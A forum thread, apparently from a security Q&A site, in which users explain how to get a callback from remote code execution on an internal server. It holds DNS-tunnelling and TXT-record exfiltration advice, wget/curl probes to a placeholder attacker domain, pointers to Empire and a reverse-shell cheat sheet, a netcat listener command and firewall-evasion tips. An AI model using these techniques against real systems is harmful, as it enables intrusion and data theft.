Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside the server?
It could be that some of the outgoing traffic from the server is blocked. Upon gaining a RCE there are various techniques to check if you can get a connection back:
Try ping yourdomain.xx - Check if your domains DNS query is executed by the victim server, if it is, that means you can setup a shell through DNS. You can use a tool like https://github.com/iagox86/dnscat2, or just manually exfiltrate data with DNS TXT records.
If for some reason that doesn't work, you can check if outbound 443 port is open by doing a simple wget https://yourdomain.xx/curl -k https://yourcomain.xx. You can use a tool like https://github.com/EmpireProject/Empire.git to eastablish a shell, remember to setup a certificate as well.
If that fails, than you can just check for other open ports ports here's a nice list of reverse TCP shells http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, but I would advise against using them if you are traversing a perimeter firewall and public network, they get detected/blocked easily.
- Check what you can reach
- Use that to create a shell
- Do whatever you came to do
*This is not intended as a deep dive explanation, but just as an example of some of the techniques you can use
Provided you are already executing code on the target, you could simply start a netcat listener on your attacking machine to receive a shell that you execute on the target from the RCE.
See below where
l tells the program to listen,
v is for verbose and
p specifies the port that your reverse shell has been configured to call back on.
nc -lvp 1337
NOTE: This assumes direct access being available from the target machine to the attacking.
I think in such a scenario the general idea would be to find a public-facing application that can interact with the internal application in question or the internal application is somehow interacting with something external facing. Conditions of both would be implementation-specific.
In a black-box scenario, this should be pretty tough. But if you can, you would find a vulnerability in a public-facing application this could be an RCE (ideal situation) or it could server-side request forgery or some other vulnerability. That way you can smuggle commands and see the output. I mean this is more of a pure networking question.
Can you interact with an application in the internal network? If and only if there is public-facing application which you can leverage
Edit:-Okay i read some answers and I might be wrong here.Please explain the question further do you have RCE already or you know that the internal application has RCE but haven't actually exploited it cause you cant reach it.Cause if you have RCE then you could use out of bounds methods to further the attack i wrote the answer on the notion that you don't have RCE yet and were asking if its possible to RCE an application on the internal network.